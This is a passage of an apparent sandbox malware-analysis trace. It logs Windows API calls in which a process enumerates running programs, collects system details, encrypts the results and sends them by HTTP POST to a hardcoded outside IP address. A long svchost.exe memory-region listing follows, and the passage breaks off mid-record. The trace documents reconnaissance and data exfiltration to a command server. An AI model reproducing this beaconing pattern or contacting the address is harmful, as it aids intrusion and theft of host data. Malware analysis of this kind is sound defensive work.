th32ParentProcessID=0x25c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0143.331] CloseHandle (hObject=0x394) returned 1 [0143.331] GetCurrentProcessId () returned 0x79c [0143.331] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0143.331] lstrlenW (lpString="systeminfo.exe") returned 14 [0143.331] lstrlenW (lpString="reader_sl.exe") returned 13 [0143.331] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0143.331] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0143.331] lstrlenW (lpString="explorer.exe") returned 12 [0143.331] lstrlenW (lpString="dwm.exe") returned 7 [0143.331] lstrlenW (lpString="taskeng.exe") returned 11 [0143.331] lstrlenW (lpString="taskhost.exe") returned 12 [0143.331] lstrlenW (lpString="spoolsv.exe") returned 11 [0143.331] lstrlenW (lpString="audiodg.exe") returned 11 [0143.331] lstrlenW (lpString="svchost.exe") returned 11 [0143.331] lstrlenW (lpString="lsm.exe") returned 7 [0143.331] lstrlenW (lpString="lsass.exe") returned 9 [0143.331] lstrlenW (lpString="services.exe") returned 12 [0143.331] lstrlenW (lpString="winlogon.exe") returned 12 [0143.331] lstrlenW (lpString="wininit.exe") returned 11 [0143.331] lstrlenW (lpString="csrss.exe") returned 9 [0143.331] lstrlenW (lpString="smss.exe") returned 8 [0143.331] lstrlenW (lpString="System") returned 6 [0143.331] lstrlenW (lpString="[System Process]") returned 16 [0143.331] lstrcpyW (in: lpString1=0x4edea0, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0143.331] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0143.331] lstrcmpiW (lpString1="systeminfo.exe", lpString2="systeminfo.exe") returned 0 [0143.331] lstrcmpiW (lpString1="reader_sl.exe", lpString2="systeminfo.exe") returned -1 [0143.331] lstrcpyW (in: lpString1=0x4edeba, lpString2="reader_sl.exe" | out: lpString1="reader_sl.exe") returned="reader_sl.exe" [0143.331] lstrlenW (lpString="reader_sl.exe") returned 13 [0143.331] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="systeminfo.exe") returned -1 [0143.331] lstrcpyW (in: lpString1=0x4eded6, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0143.331] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0143.331] lstrcmpiW (lpString1="OfficeClickToRun.exe", lpString2="systeminfo.exe") returned -1 [0143.331] lstrcpyW (in: lpString1=0x4edef0, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0143.331] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0143.331] lstrcmpiW (lpString1="explorer.exe", lpString2="systeminfo.exe") returned -1 [0143.331] lstrcpyW (in: lpString1=0x4edf1a, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0143.331] lstrlenW (lpString="explorer.exe") returned 12 [0143.331] lstrcmpiW (lpString1="dwm.exe", lpString2="systeminfo.exe") returned -1 [0143.331] lstrcpyW (in: lpString1=0x4edf34, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0143.331] lstrlenW (lpString="dwm.exe") returned 7 [0143.331] lstrcmpiW (lpString1="taskeng.exe", lpString2="systeminfo.exe") returned 1 [0143.331] lstrcpyW (in: lpString1=0x4edf44, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0143.331] lstrlenW (lpString="taskeng.exe") returned 11 [0143.332] lstrcmpiW (lpString1="taskhost.exe", lpString2="systeminfo.exe") returned 1 [0143.332] lstrcpyW (in: lpString1=0x4edf5c, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0143.332] lstrlenW (lpString="taskhost.exe") returned 12 [0143.332] lstrcmpiW (lpString1="spoolsv.exe", lpString2="systeminfo.exe") returned -1 [0143.332] lstrcpyW (in: lpString1=0x4edf76, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0143.332] lstrlenW (lpString="spoolsv.exe") returned 11 [0143.332] lstrcmpiW (lpString1="audiodg.exe", lpString2="systeminfo.exe") returned -1 [0143.332] lstrcpyW (in: lpString1=0x4edf8e, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0143.332] lstrlenW (lpString="audiodg.exe") returned 11 [0143.332] lstrcmpiW (lpString1="svchost.exe", lpString2="systeminfo.exe") returned -1 [0143.332] lstrcpyW (in: lpString1=0x4edfa6, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0143.332] lstrlenW (lpString="svchost.exe") returned 11 [0143.332] lstrcmpiW (lpString1="lsm.exe", lpString2="systeminfo.exe") returned -1 [0143.332] lstrcpyW (in: lpString1=0x4edfbe, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0143.332] lstrlenW (lpString="lsm.exe") returned 7 [0143.332] lstrcmpiW (lpString1="lsass.exe", lpString2="systeminfo.exe") returned -1 [0143.332] lstrcpyW (in: lpString1=0x4edfce, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0143.332] lstrlenW (lpString="lsass.exe") returned 9 [0143.332] lstrcmpiW (lpString1="services.exe", lpString2="systeminfo.exe") returned -1 [0143.332] lstrcpyW (in: lpString1=0x4edfe2, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0143.332] lstrlenW (lpString="services.exe") returned 12 [0143.332] lstrcmpiW (lpString1="winlogon.exe", lpString2="systeminfo.exe") returned 1 [0143.332] lstrcpyW (in: lpString1=0x4edffc, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0143.332] lstrlenW (lpString="winlogon.exe") returned 12 [0143.332] lstrcmpiW (lpString1="wininit.exe", lpString2="systeminfo.exe") returned 1 [0143.332] lstrcpyW (in: lpString1=0x4ee016, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0143.332] lstrlenW (lpString="wininit.exe") returned 11 [0143.332] lstrcmpiW (lpString1="csrss.exe", lpString2="systeminfo.exe") returned -1 [0143.332] lstrcpyW (in: lpString1=0x4ee02e, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0143.332] lstrlenW (lpString="csrss.exe") returned 9 [0143.332] lstrcmpiW (lpString1="smss.exe", lpString2="systeminfo.exe") returned -1 [0143.332] lstrcpyW (in: lpString1=0x4ee042, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0143.332] lstrlenW (lpString="smss.exe") returned 8 [0143.332] lstrcmpiW (lpString1="System", lpString2="systeminfo.exe") returned -1 [0143.332] lstrcpyW (in: lpString1=0x4ee054, lpString2="System" | out: lpString1="System") returned="System" [0143.332] lstrlenW (lpString="System") returned 6 [0143.332] lstrcmpiW (lpString1="[System Process]", lpString2="systeminfo.exe") returned -1 [0143.332] lstrcpyW (in: lpString1=0x4ee062, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0143.332] lstrlenW (lpString="[System Process]") returned 16 [0143.332] GetCurrentProcessId () returned 0x79c [0143.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WmiPrvSE.exe,reader_sl.exe,ONENOTEM.EXE,OfficeClickToRun.exe,explorer.exe,dwm.exe,taskeng.exe,taskhost.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],", cchWideChar=242, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 242 [0143.332] GetNativeSystemInfo (in: lpSystemInfo=0x246f924 | out: lpSystemInfo=0x246f924*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0143.332] lstrlenA (lpString="YKYD69Q_705BA84C") returned 16 [0143.332] GetCurrentProcessId () returned 0x79c [0143.332] GetCurrentProcessId () returned 0x79c [0143.332] GetCurrentProcessId () returned 0x79c [0143.332] lstrlenA (lpString="just string") returned 11 [0143.332] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.332] GetLastError () returned 0x12 [0143.333] CryptDuplicateHash (in: hHash=0x4e6e68, pdwReserved=0x0, dwFlags=0x0, phHash=0x246f868 | out: phHash=0x246f868) returned 1 [0143.333] CryptEncrypt (in: hKey=0x4e6b98, hHash=0x4f3838, Final=1, dwFlags=0x0, pbData=0x520764*, pdwDataLen=0x246f85c*=0xd9, dwBufLen=0xe0 | out: pbData=0x520764*, pdwDataLen=0x246f85c*=0xe0) returned 1 [0143.333] lstrlenA (lpString="just string") returned 11 [0143.333] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.333] CryptExportKey (in: hKey=0x4e6b98, hExpKey=0x4e6a40, dwBlobType=0x1, dwFlags=0x40, pbData=0x246f7ec, pdwDataLen=0x246f858 | out: pbData=0x246f7ec*, pdwDataLen=0x246f858*=0x6c) returned 1 [0143.333] GetLastError () returned 0x0 [0143.333] CryptGetHashParam (in: hHash=0x4f3838, dwParam=0x2, pbData=0x520750, pdwDataLen=0x246f858, dwFlags=0x0 | out: pbData=0x520750, pdwDataLen=0x246f858) returned 1 [0143.333] CryptDestroyHash (hHash=0x4f3838) returned 1 [0143.333] GetLastError () returned 0x0 [0143.333] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x246f660, cbSize=0x246f860 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x246f860) returned 0x0 [0143.333] GetCurrentProcessId () returned 0x79c [0143.333] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x246f660, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0143.333] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0143.333] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0143.333] GetLastError () returned 0x0 [0143.333] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0143.335] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x5206f0, dwOptionalLength=0x154) Thread: id = 113 os_tid = 0x7d4 Thread: id = 114 os_tid = 0x794 [0136.309] GetTickCount () returned 0x8017 [0141.317] GetTickCount () returned 0x93a7 [0142.315] GetTickCount () returned 0x978d Thread: id = 115 os_tid = 0x790 Thread: id = 116 os_tid = 0x78c Thread: id = 132 os_tid = 0x784 Process: id = "15" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x85ad000" os_pid = "0x3d8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "14" os_parent_pid = "0x79c" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000c4bd" [0xc000000f], "LOCAL" [0x7] Region: id = 2819 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2820 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2821 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2822 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2823 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2824 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2825 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2826 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2827 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2828 start_va = 0x100000 end_va = 0x110fff entry_point = 0x100000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 2829 start_va = 0x120000 end_va = 0x123fff entry_point = 0x120000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 2830 start_va = 0x130000 end_va = 0x131fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 2831 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2832 start_va = 0x150000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2833 start_va = 0x1f0000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2834 start_va = 0x270000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 2835 start_va = 0x370000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 2836 start_va = 0x480000 end_va = 0x48ffff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 2837 start_va = 0x490000 end_va = 0x617fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2838 start_va = 0x620000 end_va = 0x7a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 2839 start_va = 0x7b0000 end_va = 0x86ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 2840 start_va = 0x870000 end_va = 0xc62fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 2841 start_va = 0xc70000 end_va = 0xd6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 2842 start_va = 0xd80000 end_va = 0xdfffff entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 2843 start_va = 0xe00000 end_va = 0xe7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 2844 start_va = 0xed0000 end_va = 0xf4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 2845 start_va = 0xfe0000 end_va = 0x12aefff entry_point = 0xfe0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2846 start_va = 0x12b0000 end_va = 0x132ffff entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 2847 start_va = 0x1380000 end_va = 0x13fffff entry_point = 0x0 region_type = private name = "private_0x0000000001380000" filename = "" Region: id = 2848 start_va = 0x1400000 end_va = 0x147ffff entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 2849 start_va = 0x1480000 end_va = 0x157ffff entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 2850 start_va = 0x1600000 end_va = 0x167ffff entry_point = 0x0 region_type = private name = "private_0x0000000001600000" filename = "" Region: id = 2851 start_va = 0x16f0000 end_va = 0x176ffff entry_point = 0x0 region_type = private name = "private_0x00000000016f0000" filename = "" Region: id = 2852 start_va = 0x1790000 end_va = 0x179ffff entry_point = 0x0 region_type = private name = "private_0x0000000001790000" filename = "" Region: id = 2853 start_va = 0x17d0000 end_va = 0x184ffff entry_point = 0x0 region_type = private name = "private_0x00000000017d0000" filename = "" Region: id = 2854 start_va = 0x18c0000 end_va = 0x193ffff entry_point = 0x0 region_type = private name = "private_0x00000000018c0000" filename = "" Region: id = 2855 start_va = 0x19a0000 end_va = 0x1a1ffff entry_point = 0x0 region_type = private name = "private_0x00000000019a0000" filename = "" Region: id = 2856 start_va = 0x1ad0000 end_va = 0x1b4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ad0000" filename = "" Region: id = 2857 start_va = 0x1ba0000 end_va = 0x1c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ba0000" filename = "" Region: id = 2858 start_va = 0x1cc0000 end_va = 0x1ccffff entry_point = 0x0 region_type = private name = "private_0x0000000001cc0000" filename = "" Region: id = 2859 start_va = 0x1d00000 end_va = 0x1d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 2860 start_va = 0x1d80000 end_va = 0x1e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 2861 start_va = 0x1e80000 end_va = 0x1f3ffff entry_point = 0x1e80000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2862 start_va = 0x1f90000 end_va = 0x200ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Region: id = 2863 start_va = 0x2090000 end_va = 0x210ffff entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 2864 start_va = 0x2170000 end_va = 0x217ffff entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 2865 start_va = 0x2180000 end_va = 0x237ffff entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 2866 start_va = 0x73010000 end_va = 0x73012fff entry_point = 0x73010000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 2867 start_va = 0x76bd0000 end_va = 0x76cc9fff entry_point = 0x76bd0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2868 start_va = 0x76cd0000 end_va = 0x76deefff entry_point = 0x76cd0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2869 start_va = 0x76df0000 end_va = 0x76f98fff entry_point = 0x76df0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2870 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2871 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2872 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2873 start_va = 0xff5b0000 end_va = 0xff5bafff entry_point = 0xff5b0000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 2874 start_va = 0x7fef1e20000 end_va = 0x7fef1e38fff entry_point = 0x7fef1e20000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 2875 start_va = 0x7fef3510000 end_va = 0x7fef351bfff entry_point = 0x7fef3510000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2876 start_va = 0x7fef36a0000 end_va = 0x7fef3777fff entry_point = 0x7fef36a0000 region_type = mapped_file name = "perftrack.dll" filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll") Region: id = 2877 start_va = 0x7fef3780000 end_va = 0x7fef3798fff entry_point = 0x7fef3780000 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 2878 start_va = 0x7fef4380000 end_va = 0x7fef438ffff entry_point = 0x7fef4380000 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 2879 start_va = 0x7fef4390000 end_va = 0x7fef43a1fff entry_point = 0x7fef4390000 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 2880 start_va = 0x7fef4410000 end_va = 0x7fef4483fff entry_point = 0x7fef4410000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2881 start_va = 0x7fef4660000 end_va = 0x7fef46c3fff entry_point = 0x7fef4660000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2882 start_va = 0x7fef46d0000 end_va = 0x7fef4740fff entry_point = 0x7fef46d0000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2883 start_va = 0x7fef5d70000 end_va = 0x7fef5d7afff entry_point = 0x7fef5d70000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 2884 start_va = 0x7fef5d80000 end_va = 0x7fef5d94fff entry_point = 0x7fef5d80000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 2885 start_va = 0x7fef5e50000 end_va = 0x7fef5ecbfff entry_point = 0x7fef5e50000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 2886 start_va = 0x7fef84e0000 end_va = 0x7fef84e7fff entry_point = 0x7fef84e0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2887 start_va = 0x7fefa7f0000 end_va = 0x7fefa807fff entry_point = 0x7fefa7f0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2888 start_va = 0x7fefb220000 end_va = 0x7fefb237fff entry_point = 0x7fefb220000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2889 start_va = 0x7fefb240000 end_va = 0x7fefb250fff entry_point = 0x7fefb240000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2890 start_va = 0x7fefb270000 end_va = 0x7fefb2c2fff entry_point = 0x7fefb270000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2891 start_va = 0x7fefb3a0000 end_va = 0x7fefb3a9fff entry_point = 0x7fefb3a0000 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll") Region: id = 2892 start_va = 0x7fefb3c0000 end_va = 0x7fefb3cafff entry_point = 0x7fefb3c0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2893 start_va = 0x7fefb3d0000 end_va = 0x7fefb3f6fff entry_point = 0x7fefb3d0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2894 start_va = 0x7fefb440000 end_va = 0x7fefb4a6fff entry_point = 0x7fefb456060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 2895 start_va = 0x7fefb560000 end_va = 0x7fefb574fff entry_point = 0x7fefb560000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2896 start_va = 0x7fefbf00000 end_va = 0x7fefbf0bfff entry_point = 0x7fefbf00000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2897 start_va = 0x7fefbfd0000 end_va = 0x7fefbfd6fff entry_point = 0x7fefbfd0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2898 start_va = 0x7fefc0c0000 end_va = 0x7fefc0dafff entry_point = 0x7fefc0c0000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2899 start_va = 0x7fefc230000 end_va = 0x7fefc239fff entry_point = 0x7fefc230000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2900 start_va = 0x7fefc330000 end_va = 0x7fefc376fff entry_point = 0x7fefc330000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2901 start_va = 0x7fefc450000 end_va = 0x7fefc4aafff entry_point = 0x7fefc450000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2902 start_va = 0x7fefc5c0000 end_va = 0x7fefc5c6fff entry_point = 0x7fefc5c0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2903 start_va = 0x7fefc5d0000 end_va = 0x7fefc624fff entry_point = 0x7fefc5d0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2904 start_va = 0x7fefc630000 end_va = 0x7fefc646fff entry_point = 0x7fefc630000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2905 start_va = 0x7fefcbd0000 end_va = 0x7fefcbdafff entry_point = 0x7fefcbd0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2906 start_va = 0x7fefcc00000 end_va = 0x7fefcc24fff entry_point = 0x7fefcc00000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2907 start_va = 